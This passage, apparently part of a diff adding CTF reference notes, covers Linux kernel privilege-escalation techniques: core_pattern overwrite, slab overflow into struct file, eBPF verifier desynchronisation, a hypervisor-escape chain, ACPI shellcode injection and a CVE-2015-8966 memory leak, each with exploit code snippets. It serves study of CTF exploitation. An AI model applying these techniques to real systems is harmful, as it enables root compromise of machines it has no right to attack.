+ Alternative to `modprobe_path`. Overwrite `/proc/sys/kernel/core_pattern` (or the internal `core_pattern` variable) with a pipe command. When a process crashes, the kernel executes the specified command as root to handle the core dump.
466
+
467
+ ```bash
468
+ # core_pattern with pipe: first char '|' means execute as command
469
+ # Overwrite core_pattern to: "|/tmp/evil.sh"
470
+ # Then crash a process to trigger
471
+ ```
472
+
473
+ **Finding the offset:** `core_pattern` is not exported via `/proc/kallsyms` without `CONFIG_KALLSYMS_ALL`. To find it:
474
+
475
+ 1. Set breakpoint on `override_creds()` (called by `do_coredump()`)
476
+ 2. Crash a process: `int main() { ((void(*)())0)(); }`
477
+ 3. After `override_creds` returns, disassemble -- look for `movzx` loading from a data address
478
+ 4. That address is `core_pattern`
479
+
480
+ **Key insight:** `core_pattern` is an alternative to `modprobe_path` when `CONFIG_STATIC_USERMODEHELPER` blocks modprobe. Overwrite it with `|/tmp/evil.sh` and crash any process to trigger root command execution. Finding the address requires a GDB breakpoint on `override_creds` during a deliberate crash since `core_pattern` is not always exported in `/proc/kallsyms`.
481
+
482
+ ```text
483
+ (gdb) finish
484
+ (gdb) x/5i $rip
485
+ => 0xffffffff811b1e98: movzx r13d, BYTE PTR [rip+0xcfec80] # 0xffffffff81eb0b20
486
+ (gdb) x/s 0xffffffff81eb0b20
487
+ 0xffffffff81eb0b20: "core"
488
+ ```
489
+
490
+ ---
491
+
492
+ ## Kernel Heap Overflow via kmalloc Size Mismatch (PlaidCTF 2013)
493
+
494
+ **Pattern:** Kernel module allocates `kmalloc(content_length)` but copies `0x40 + content_length` bytes (header + body), causing a 0x40-byte heap overflow into adjacent slab objects.
495
+
496
+ ```c
497
+ // Vulnerable pattern in kernel HTTP handler:
498
+ buf = kmalloc(content_length, GFP_KERNEL);
499
+ memcpy(buf, http_header, 0x40); // 0x40 bytes of header
500
+ memcpy(buf + 0x40, body, content_length); // Overflow!
501
+ ```
502
+
503
+ **Exploitation:**
504
+ 1. **Slab spray:** Open 1021 file descriptors (`open("/dev/kmalloc_target")`) to fill the kmalloc-256 slab cache
505
+ 2. **Create holes:** Close 3 files to create gaps in the slab for the overflowing allocation
506
+ 3. **Trigger overflow:** Send HTTP request with body that overflows into adjacent `struct file`
507
+ 4. **Corrupt `f_op`:** Overwrite the `f_op` (file operations) pointer in the adjacent `struct file` to redirect function pointers
508
+ 5. **Hijack write handler:** `f_op->write` now points to attacker-controlled address → `commit_creds(prepare_kernel_cred(0))`
509
+
510
+ **Key insight:** `struct file` is in kmalloc-256 and contains `f_op` (function pointer table). Corrupting `f_op` to a fake vtable gives control over any file operation (`read`, `write`, `ioctl`). The attacker triggers the hijacked operation via the corrupted file descriptor.
511
+
512
+ ---
513
+
514
+ ## eBPF Verifier Bypass Exploitation (UIUCTF 2021, D^3CTF 2022)
515
+
516
+ Exploit mismatches between the eBPF verifier's static analysis and runtime behavior to achieve arbitrary kernel read/write.
517
+
518
+ ```c
519
+ // Pattern: Verifier tracks register states differently from hardware
520
+ // Example: Right-shift desynchronization (D^3CTF 2022)
521
+ // Verifier thinks: shr reg, 64 -> reg = 0
522
+ // Hardware does: shr reg, 64 -> reg = original_value (shift >= width = undefined)
523
+
524
+ // Step 1: Create desynchronized register
525
+ BPF_ALU64_IMM(BPF_RSH, BPF_REG_7, 64), // verifier: R7=0, runtime: R7=1
526
+
527
+ // Step 2: Use desync to bypass ALU sanitizer
528
+ BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, offset), // verifier: 0*offset=0, runtime: 1*offset=offset
529
+
530
+ // Step 3: Add to map pointer for OOB access
531
+ BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_7), // verifier allows (adding 0)
532
+ // Runtime: map_ptr + offset -> arbitrary kernel memory access
533
+
534
+ // Step 4: Read/write kernel memory, overwrite modprobe_path or cred struct
535
+ ```
536
+
537
+ ```bash
538
+ # eBPF exploitation workflow:
539
+ # 1. Find verifier vs runtime mismatch (RSH, bounds tracking, helper params)
540
+ # 2. Create register with verifier_value != runtime_value
541
+ # 3. Use desync register to bypass pointer arithmetic checks
542
+ # 4. Achieve arbitrary read via map value OOB
543
+ # 5. Leak kernel base from adjacent slab objects
544
+ # 6. Arbitrary write to modprobe_path or current->cred
545
+
546
+ # Helper function overflow variant (d3bpf-v2):
547
+ # bpf_skb_load_bytes(skb, offset, stack_buf, len)
548
+ # Verifier checks len <= 512, but desync makes runtime len huge
549
+ # Stack buffer overflow -> ROP to commit_creds(init_cred)
550
+
551
+ # KASLR bypass via eBPF:
552
+ # Trigger controlled oops -> dmesg leaks kernel addresses
553
+ # Or: read adjacent slab objects containing kernel pointers
554
+ ```
555
+
556
+ **Key insight:** eBPF verifier bugs create a "type confusion" between static analysis and runtime. The pattern is always: (1) find operation where verifier prediction differs from hardware, (2) multiply the difference to create useful offsets, (3) add to map pointer for kernel memory access. Check kernel changelogs for eBPF verifier patches -- each patch implies a prior exploitable bug.
557
+
558
+ See also: [kernel-techniques.md](kernel-techniques.md) for additional kernel exploitation techniques.
559
+
560
+ ---
561
+
562
+ ## User-Kernel-Hypervisor Chain via I/O Port Hypercalls (HITCON 2018)
563
+
564
+ **Pattern:** A three-layer challenge (user.elf → kernel.bin → hypervisor) restricts direct hypercalls from userspace via a whitelist enforced in kernel.bin. The attacker (1) corrupts a RPN-calculator user-mode program to write arbitrary bytes into its GOT, (2) uses that write to break out to kernel mode, and (3) from kernel mode issues a hypercall directly by executing `out dx, eax` on I/O ports `0x8000..0x80FF`, which the hypervisor handles as a syscall dispatch. The final twist: the hypervisor only accepts strings that already live in kernel memory, so a deliberately failing `open()` syscall is used to seed a kernel buffer with the target path before re-invoking the hypercall with that buffer address.
565
+
566
+ ```asm
567
+ ; Kernel-mode stub running inside kernel.bin after the pivot
568
+ mov dx, 0x8000 + 5 ; I/O port = base + syscall_number (here: open)
569
+ mov eax, <kernel_buffer> ; pointer that lives in kernel memory
570
+ out dx, eax ; hypervisor reads from the port as an arg
571
+
572
+ mov dx, 0x8000 + 0 ; syscall 0 = read
573
+ mov eax, flag_buffer
574
+ out dx, eax
575
+ ```
576
+
577
+ ```python
578
+ # User-mode payload that pivots into kernel.bin via GOT overwrite
579
+ from pwn import *
580
+ io = remote("challenge.hitcon", 1337)
581
+
582
+ # 1. RPN-calc overwrites got['strtol'] with a kernel gadget that calls the
583
+ # privileged hypercall stub.
584
+ payload = rpn_overwrite(target="strtol",
585
+ value=kernel_gadget_address)
586
+ io.sendline(payload)
587
+
588
+ # 2. Kernel stub runs the I/O-port sequence above and writes the flag back.
589
+ io.recvuntil(b"flag{")
590
+ log.success(b"flag{" + io.recvuntil(b"}"))
591
+ ```
592
+
593
+ **Key insight:** The more privilege rings a challenge stacks, the more important it is to map *where data must live* versus *where code must run*. HITCON Abyss enforced a kernel whitelist on userspace hypercalls, but kernel code itself could still poke the hypervisor ports directly. The same pattern recurs in real VM escapes: a guest kernel primitive plus an I/O-port write reaches the VMM without going through the guest's own syscall table. When attacking `kvm_guest_enter` style hypervisors, look for memory-mapped I/O regions or port ranges that the VMM traps — they are hypercalls in disguise and often lack the argument sanitisation that formal hypercall interfaces require.
594
+
595
+ **References:** HITCON CTF 2018 — Abyss I & II, writeups 11918, 11919, 11933, 11934, 11937, 11938
596
+
597
+ ---
598
+
599
+ ## ACPI DSDT Shellcode Injection for Privilege Escalation (hxp 2018)
600
+
601
+ **Pattern:** "Green Computing" style challenges boot a kernel with attacker-controlled ACPI tables. Embed shellcode inside a DSDT `OperationRegion(SystemMemory, ...)` and write it into kernel memory with a `Field` write at boot. Patch a target like `commit_creds` so any subsequent setuid call elevates privileges.
602
+
603
+ ```asl
604
+ OperationRegion (PWDN, SystemMemory, 0x1241000, 0x400)
605
+ Field (PWDN, AnyAcc, NoLock, Preserve) { JMPA, 0x400 }
606
+ JMPA = Buffer () { 0x41, 0x55, 0x41, 0x54, 0x48, /* shellcode */ }
607
+
608
+ OperationRegion (NISC, SystemMemory, 0x104ac24, 96)
609
+ Field (NISC, AnyAcc, NoLock, Preserve) { NICD, 768 }
610
+ NICD = Buffer () { 0x48, 0xc7, 0xc0, /* patched commit_creds prologue */ }
611
+ ```
612
+
613
+ **Key insight:** ACPI AML runs with direct physical memory access before normal kernel protections are active. When the challenge lets you supply DSDT/SSDT bytes, `SystemMemory` `OperationRegion` is a kernel-write primitive bigger than most explicit kernel bugs.
614
+
615
+ **References:** hxp CTF 2018 — Green Computing 1-2, writeups 12550+
616
+
617
+ ---
618
+
619
+ ## ARM fcntl64 set_fs() CVE-2015-8966 Pipe Exfil (Insomnihack 2019)
620
+
621
+ **Pattern:** Bug: `fcntl64` on ARM Linux set `KERNEL_DS` via `set_fs()` and never restored it. Exploit: fork a child that calls `fcntl64`, then have the child write arbitrary kernel addresses through a pipe; parent reads the pipe back. Direct reads of MMU regions panic, so pipes act as a safe shim.
622
+
623
+ ```c
624
+ if (fork() == 0) {
625
+ trigger_fcntl64_bug(); // now at KERNEL_DS
626
+ write(pipe_w, (void*)kernel_addr, N); // unchecked kernel read
627
+ _exit(0);
628
+ }
629
+ read(pipe_r, leak, N); // parent gets kernel memory
630
+ ```
631
+
632
+ After leaking the cred struct, rewrite `uid/gid/euid/egid = 0` in place and call `getuid()` to confirm root.
633
+
634
+ **Key insight:** Missing `set_fs(USER_DS)` restoration is a single-line bug that gives unbounded copy_from/to_user with kernel addresses. Wrap dangerous reads through a pipe so the kernel copy loop never touches forbidden MMU regions directly.
635
+
636
+ **References:** Insomnihack teaser 2019 — 1118daysober, writeup 12903